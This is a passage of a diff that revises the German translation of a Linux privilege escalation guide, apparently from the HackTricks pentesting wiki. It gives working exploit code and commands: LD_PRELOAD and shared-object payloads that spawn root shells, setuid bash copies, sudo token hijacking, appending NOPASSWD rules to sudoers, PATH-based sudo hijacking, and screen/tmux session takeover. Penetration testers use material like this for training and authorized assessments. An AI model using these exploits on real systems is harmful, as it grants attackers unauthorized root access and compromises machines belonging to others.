Funktion ausgeführt +Dann wird beim Aufruf des suid-Binaries diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (`libc.so`). Dieser Vorgang ist als Preloading einer Bibliothek bekannt. +Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (`libc.so`). Dieser Vorgang wird als Vorladen einer Bibliothek bezeichnet. -Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Executables, erzwingt das System bestimmte Bedingungen: +Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion, insbesondere bei **suid/sgid**-ausführbaren Dateien, missbraucht wird, setzt das System bestimmte Bedingungen durch: -- Der Loader ignoriert **LD_PRELOAD** für Executables, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. -- Bei Executables mit suid/sgid werden nur Bibliotheken in Standardpfaden vorab geladen, die ebenfalls suid/sgid sind. +- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. +- Bei **suid/sgid**-ausführbaren Dateien werden nur Bibliotheken aus Standardpfaden vorgeladen, die ebenfalls suid/sgid sind. -Eine Privilegieneskalation kann auftreten, wenn du Befehle mit `sudo` ausführen darfst und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt, dass die Umgebungsvariable **LD_PRELOAD** erhalten bleibt und auch bei Ausführung von Befehlen mit `sudo` erkannt wird, was möglicherweise zur Ausführung beliebigen Codes mit erhöhten Rechten führt. +Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt es der Umgebungsvariable **LD_PRELOAD**, beim Aufruf von Befehlen mit `sudo` erhalten zu bleiben und erkannt zu werden, was möglicherweise zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann. ``` Defaults env_keep += LD_PRELOAD ``` @@ -860,17 +891,17 @@ setuid(0); system("/bin/bash"); } ``` -Dann **compile it** mit: +Dann **kompiliere es** mit: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Schließlich, **escalate privileges** ausführen +Schließlich **escalate privileges** ausführen ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH** env variable kontrolliert, da er so den Pfad bestimmt, in dem nach Bibliotheken gesucht wird. +> Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH** env variable kontrolliert, da er den Pfad kontrolliert, in dem Bibliotheken gesucht werden. ```c #include #include @@ -892,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wenn man auf ein Binary mit **SUID**-Rechten stößt, das ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich prüfen, indem man den folgenden Befehl ausführt: +Wenn man auf ein Binary mit **SUID**-Berechtigungen stößt, das ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich prüfen, indem man den folgenden Befehl ausführt: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein Potenzial zur Ausnutzung hin. +Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf eine mögliche exploitation hin. -Um dies auszunutzen, würde man eine C-Datei erstellen, z. B. _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: +Um dies zu exploit, erstellt man eine C-Datei, z. B. _"/path/to/.config/libcalc.c"_, die folgenden Code enthält: ```c #include #include @@ -909,13 +940,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code versucht nach dem Kompilieren und Ausführen, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt. +Dieser Code zielt, nach dem Kompilieren und Ausführen, darauf ab, Privilegien zu erhöhen, indem er Dateiberechtigungen manipuliert und eine shell mit erhöhten Rechten startet. -Kompiliere die obenstehende C-Datei in eine Shared-Object-Datei (.so) mit: +Kompiliere die obige C-Datei in eine shared object (.so)-Datei mit: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Schließlich sollte das Ausführen des betroffenen SUID binary den exploit auslösen und eine mögliche Systemkompromittierung erlauben. +Schließlich sollte das Ausführen des betroffenen SUID binary den Exploit auslösen und so eine mögliche Kompromittierung des Systems ermöglichen. ## Shared Object Hijacking ```bash @@ -927,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Da wir nun ein SUID binary gefunden haben, das eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem erforderlichen Namen: +Da wir nun ein SUID binary gefunden haben, das eine library aus einem Ordner lädt, in den wir schreiben können, erstellen wir die library in diesem Ordner mit dem notwendigen Namen: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -940,17 +971,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie den folgenden erhalten: +Wenn Sie einen Fehler wie ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Das bedeutet, dass die Bibliothek, die Sie erzeugt haben, eine Funktion namens `a_function_name` enthalten muss. +das bedeutet, dass die Bibliothek, die Sie erzeugt haben, eine Funktion namens `a_function_name` enthalten muss. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist das Gleiche, aber für Fälle, in denen Sie **nur Argumente injizieren** können. +[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, jedoch für Fälle, in denen Sie **nur Argumente** in einen Befehl injizieren können. -Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, Bind- und Reverse-Shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern. +Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um eingeschränkten Shells zu entkommen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, Bind- und Reverse-Shells zu erzeugen und andere Post-Exploitation-Aufgaben zu erleichtern. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -971,48 +1002,48 @@ https://gtfoargs.github.io/ Wenn Sie Zugriff auf `sudo -l` haben, können Sie das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es eine Möglichkeit findet, eine sudo-Regel auszunutzen. -### Wiederverwendung von sudo-Token +### Wiederverwendung von Sudo-Token -In Fällen, in denen Sie **sudo access** haben, aber nicht das Passwort, können Sie Privilegien eskalieren, indem Sie **auf die Ausführung eines sudo-Kommandos warten und dann das Session-Token übernehmen**. +In Fällen, in denen Sie **sudo access** aber nicht das Passwort haben, können Sie Privilegien eskalieren, indem Sie auf die Ausführung eines sudo-Befehls warten und dann das Sitzungstoken kapern. -Voraussetzungen für eine Privilegieneskalation: +Voraussetzungen zur Eskalation von Privilegien: - Sie haben bereits eine Shell als Benutzer "_sampleuser_" -- "_sampleuser_" hat in den **letzten 15 Minuten** `sudo` benutzt (standardmäßig ist das die Dauer des sudo-Tokens, die uns erlaubt, `sudo` zu benutzen, ohne ein Passwort einzugeben) +- "_sampleuser_" hat **`sudo` verwendet**, um in den **letzten 15mins** etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, die uns erlaubt, `sudo` ohne Eingabe eines Passworts zu verwenden) - `cat /proc/sys/kernel/yama/ptrace_scope` ist 0 -- `gdb` ist zugänglich (Sie können es hochladen) +- `gdb` ist zugänglich (Sie sollten es hochladen können) -(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft, indem Sie `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) +(Sie können `ptrace_scope` vorübergehend aktivieren mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` oder dauerhaft, indem Sie `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) Wenn alle diese Voraussetzungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **den sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine root-Shell, führen Sie `sudo su` aus): +- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine root-Shell; führen Sie `sudo su` aus): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -Der **zweite exploit** (`exploit_v2.sh`) erstellt eine sh-Shell in _/tmp_, die **root gehört und bei der das setuid-Bit gesetzt ist** +- Der **zweite exploit** (`exploit_v2.sh`) erstellt eine sh shell in _/tmp_, die **root gehört und setuid besitzt**. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte exploit** (`exploit_v3.sh`) wird **eine sudoers file erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** +- Der **dritte exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Wenn du **Schreibrechte** in dem Ordner oder für eine der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um einen **sudo token für einen Benutzer und eine PID zu erstellen**.\ -Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Privilegien erlangen**, ohne das Passwort zu kennen, indem du: +Wenn Sie **Schreibrechte** in dem Ordner oder auf einer der darin erstellten Dateien haben, können Sie das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **einen sudo token für einen Benutzer und eine PID zu erstellen**.\ +Zum Beispiel, wenn Sie die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erlangen** ohne das Passwort zu kennen, indem Sie: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die Datei `/etc/sudoers` und die Dateien innerhalb von `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ -**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du **beliebige Dateien schreiben** kannst, wirst du in der Lage sein, **Privilegien zu eskalieren**. +Die Datei `/etc/sudoers` und die Dateien innerhalb von `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur vom Benutzer root und von der Gruppe root gelesen werden**.\ +**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie irgendeine Datei **schreiben** können, werden Sie in der Lage sein, **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1022,7 +1053,7 @@ Wenn du Schreibzugriff hast, kannst du diese Berechtigung missbrauchen. echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Eine andere Möglichkeit, diese Berechtigungen zu missbrauchen: +Eine weitere Möglichkeit, diese Berechtigungen auszunutzen: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1031,15 +1062,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Es gibt einige Alternativen zum `sudo` binary, wie `doas` für OpenBSD. Denk daran, dessen Konfiguration in `/etc/doas.conf` zu überprüfen. +Es gibt einige Alternativen zur `sudo`-Binärdatei, wie `doas` für OpenBSD — denke daran, dessen Konfiguration unter `/etc/doas.conf` zu prüfen. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn du weißt, dass ein **Benutzer sich üblicherweise an einer Maschine verbindet und `sudo` verwendet**, um Privilegien zu erhöhen, und du eine Shell im Kontext dieses Benutzers erhalten hast, kannst du **eine neue sudo ausführbare Datei erstellen**, die deinen Code als root und danach den Befehl des Benutzers ausführt. Danach **ändere den $PATH** des Benutzerkontexts (zum Beispiel indem du den neuen Pfad in .bash_profile hinzufügst), sodass beim Ausführen von sudo durch den Benutzer deine sudo ausführbare Datei ausgeführt wird. +Wenn du weißt, dass ein **Benutzer sich üblicherweise an einer Maschine anmeldet und `sudo` verwendet**, um Privilegien zu eskalieren, und du eine shell in diesem Benutzerkontext erhalten hast, kannst du **create a new sudo executable** erstellen, das deinen Code als root und danach den Befehl des Benutzers ausführt. Anschließend solltest du den **$PATH** des Benutzerkontexts ändern (zum Beispiel indem du den neuen Pfad in .bash_profile einfügst), sodass beim Ausführen von sudo durch den Benutzer dein sudo executable ausgeführt wird. -Beachte, dass wenn der Benutzer eine andere Shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachte, dass, falls der Benutzer eine andere shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder so etwas ausführen: ```bash @@ -1056,15 +1087,15 @@ zsh echo $PATH sudo ls ``` -## Geteilte Bibliothek +## Shared Library ### ld.so -Die Datei `/etc/ld.so.conf` zeigt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` gibt an **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Eintrag: `include /etc/ld.so.conf.d/*.conf` -Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **weisen auf andere Verzeichnisse hin**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. +Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **libraries** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach libraries innerhalb von `/usr/local/lib` suchen wird**. -Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, einer Datei innerhalb von `/etc/ld.so.conf.d/` oder einem Ordner, auf den in einer Datei innerhalb von `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er möglicherweise seine Privilegien erhöhen.\ +Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder ein Verzeichnis, auf das innerhalb einer Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er möglicherweise Privilegien eskalieren.\ Siehe **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: @@ -1083,7 +1114,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Durch das Kopieren der lib nach `/var/tmp/flag15/` wird sie vom Programm an dieser Stelle verwendet, wie in der Variable `RPATH` angegeben. +Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie an dieser Stelle vom Programm verwendet, wie in der Variable `RPATH` angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1092,7 +1123,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Erstelle dann eine evil library in `/var/tmp` mit `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Erstelle dann eine bösartige Bibliothek in `/var/tmp` mit `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1105,50 +1136,51 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Fähigkeiten -Linux capabilities stellen einem Prozess eine **Teilmenge der verfügbaren root-Privilegien** bereit. Dadurch werden root **Privilegien in kleinere und unterscheidbare Einheiten aufgespalten**. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. So wird die vollständige Menge an Privilegien reduziert, wodurch das Risiko einer Ausnutzung sinkt.\ -Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu erfahren**: +Linux-Capabilities stellen einem Prozess eine **Teilmenge der verfügbaren root-Privilegien** bereit. Dadurch werden root **Privilegien in kleinere und eigenständige Einheiten aufgeteilt**. Jede dieser Einheiten kann dann Prozessen unabhängig zugewiesen werden. Auf diese Weise wird die Gesamtheit der Privilegien reduziert, wodurch das Risiko einer Ausnutzung verringert wird.\ +Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**: {{#ref}} linux-capabilities.md {{#endref}} -## Verzeichnisrechte +## Verzeichnisberechtigungen -In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer "**cd**" in den Ordner wechseln kann.\ Das **"read"**-Bit bedeutet, dass der Benutzer die **Dateien** **auflisten** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **Dateien** **löschen** und **erstellen** kann. +In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer in das Verzeichnis wechseln kann ("cd").\ +Das **"read"**-Bit impliziert, dass der Benutzer die **Dateien** **auflisten** kann, und das **"write"**-Bit impliziert, dass der Benutzer **Dateien** **löschen** und **neu erstellen** kann. ## ACLs -Access Control Lists (ACLs) repräsentieren die sekundäre Ebene diskretionärer Berechtigungen, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen erhöhen die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Gruppenmitglieder sind, Rechte gewähren oder verweigern. Diese Stufe der **Granularität sorgt für eine genauere Zugriffsverwaltung**. Weitere Details finden Sie [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar, die in der Lage ist, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Mitglied der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffskontrolle**. Weitere Details finden Sie [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gib** dem Benutzer "kali" Lese- und Schreibrechte für eine Datei: +**Geben Sie dem Benutzer "kali" Lese- und Schreibrechte für eine Datei:** ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Erhalte** Dateien mit bestimmten ACLs vom System: +**Abrufen** von Dateien mit bestimmten ACLs aus dem System: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Offene shell sessions -In **alten Versionen** kannst du möglicherweise eine **shell** session eines anderen Benutzers (**root**) **hijack**.\ -In **neuesten Versionen** kannst du dich nur zu screen sessions von **deinem eigenen User** **connect**. Allerdings könntest du **interessante Informationen innerhalb der Session** finden. +In **älteren Versionen** kannst du möglicherweise eine **shell** session eines anderen Benutzers (**root**) **hijacken**.\ +In **neuesten Versionen** kannst du dich nur zu screen sessions deines **eigenen Benutzers** **connecten**. Du könntest jedoch **interessante Informationen innerhalb der session** finden. ### screen sessions hijacking -**screen sessions auflisten** +**Liste der screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**An eine Session anhängen** +**An eine session anhängen** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1156,9 +1188,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Das war ein Problem mit **alten tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1) Sitzung als nicht-privilegierter Benutzer nicht hijacken. +Dies war ein Problem bei **älteren tmux-Versionen**. Ich konnte eine tmux (v2.1) session, die von root erstellt wurde, als nicht-privilegierter Benutzer nicht hijacken. -**tmux-Sitzungen auflisten** +**tmux sessions auflisten** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1166,7 +1198,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**An eine Sitzung anhängen** +**An eine session anhängen** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1176,51 +1208,51 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Sieh dir **Valentine box von HTB** als Beispiel an. +Siehe **Valentine box from HTB** als Beispiel. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein.\ -Dieser Bug tritt beim Erstellen eines neuen ssh-Keys in diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Dieser Bug tritt beim Erstellen eines neuen ssh-Schlüssels in diesen OS auf, da **nur 32,768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Interessante Konfigurationswerte -- **PasswordAuthentication:** Gibt an, ob die Passwort-Authentifizierung erlaubt ist. Der Standardwert ist `no`. -- **PubkeyAuthentication:** Gibt an, ob die Public-Key-Authentifizierung erlaubt ist. Der Standardwert ist `yes`. -- **PermitEmptyPasswords**: Wenn die Passwort-Authentifizierung erlaubt ist, gibt es an, ob der Server Logins für Accounts mit leerem Passwort erlaubt. Der Standardwert ist `no`. +- **PasswordAuthentication:** Gibt an, ob password authentication erlaubt ist. Der Standard ist `no`. +- **PubkeyAuthentication:** Gibt an, ob public key authentication erlaubt ist. Der Standard ist `yes`. +- **PermitEmptyPasswords**: Wenn password authentication erlaubt ist, gibt es an, ob der Server Anmeldungen zu Accounts mit empty password strings zulässt. Der Standard ist `no`. ### PermitRootLogin -Gibt an, ob root sich per ssh einloggen kann, der Standardwert ist `no`. Mögliche Werte: +Gibt an, ob root sich per ssh anmelden kann, der Standard ist `no`. Mögliche Werte: -- `yes`: root kann sich mit Passwort und Private Key anmelden -- `without-password` oder `prohibit-password`: root kann sich nur mit Private Key anmelden -- `forced-commands-only`: root kann sich nur mit Private Key anmelden und nur, wenn die commands-Optionen angegeben sind -- `no` : nein +- `yes`: root kann sich mit password und private key anmelden +- `without-password` oder `prohibit-password`: root kann sich nur mit einem private key anmelden +- `forced-commands-only`: root kann sich nur mit private key anmelden und nur, wenn command-Optionen angegeben sind +- `no`: nicht erlaubt ### AuthorizedKeysFile -Gibt Dateien an, die die public keys enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel: +Gibt Dateien an, die die public keys enthalten, die für user authentication verwendet werden können. Sie können Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade relativ zum Home-Verzeichnis des Benutzers**. Zum Beispiel: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Diese Konfiguration zeigt an, dass wenn du versuchst, dich mit dem **private** key des Benutzers "**testusername**" einzuloggen, ssh den public key deines keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. +Diese Konfiguration zeigt an, dass ssh beim Versuch, sich mit dem **private** Key des Benutzers "**testusername**" anzumelden, den public key deines Keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding ermöglicht es dir, **use your local SSH keys instead of leaving keys** (without passphrases!) auf deinem server liegen zu lassen. Dadurch kannst du per ssh **jump** **to a host** und dich von dort **jump to another** host **using** den **key** auf deinem **initial host** verbinden. +SSH agent forwarding ermöglicht es dir, **use your local SSH keys instead of leaving keys** (without passphrases!), sodass du vermeiden kannst, Keys auf deinem Server zu hinterlassen. Du kannst also per ssh **jump** **to a host** und dich von dort **jump to another** Host **using** den **key**, der sich auf deinem **initial host** befindet. Du musst diese Option in `$HOME/.ssh.config` wie folgt setzen: ``` Host example.com ForwardAgent yes ``` -Beachte, dass wenn `Host` auf `*` gesetzt ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine springt, dieser Host auf die keys zugreifen kann (was ein Sicherheitsproblem darstellt). +Beachte, dass wenn `Host` auf `*` steht, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). -Die Datei `/etc/ssh_config` kann diese **override** **options** übernehmen und diese Konfiguration erlauben oder verweigern.\ -Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Schlüsselwort `AllowAgentForwarding` **allow** oder **denied** setzen (Standard ist allow). +Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verweigern.\ +Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Keyword `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist allow). Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **du es möglicherweise ausnutzen kannst, um Privilegien zu eskalieren**: @@ -1233,22 +1265,22 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine dieser Dateien **schreiben oder verändern kannst, kannst du Privilegien eskalieren**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` 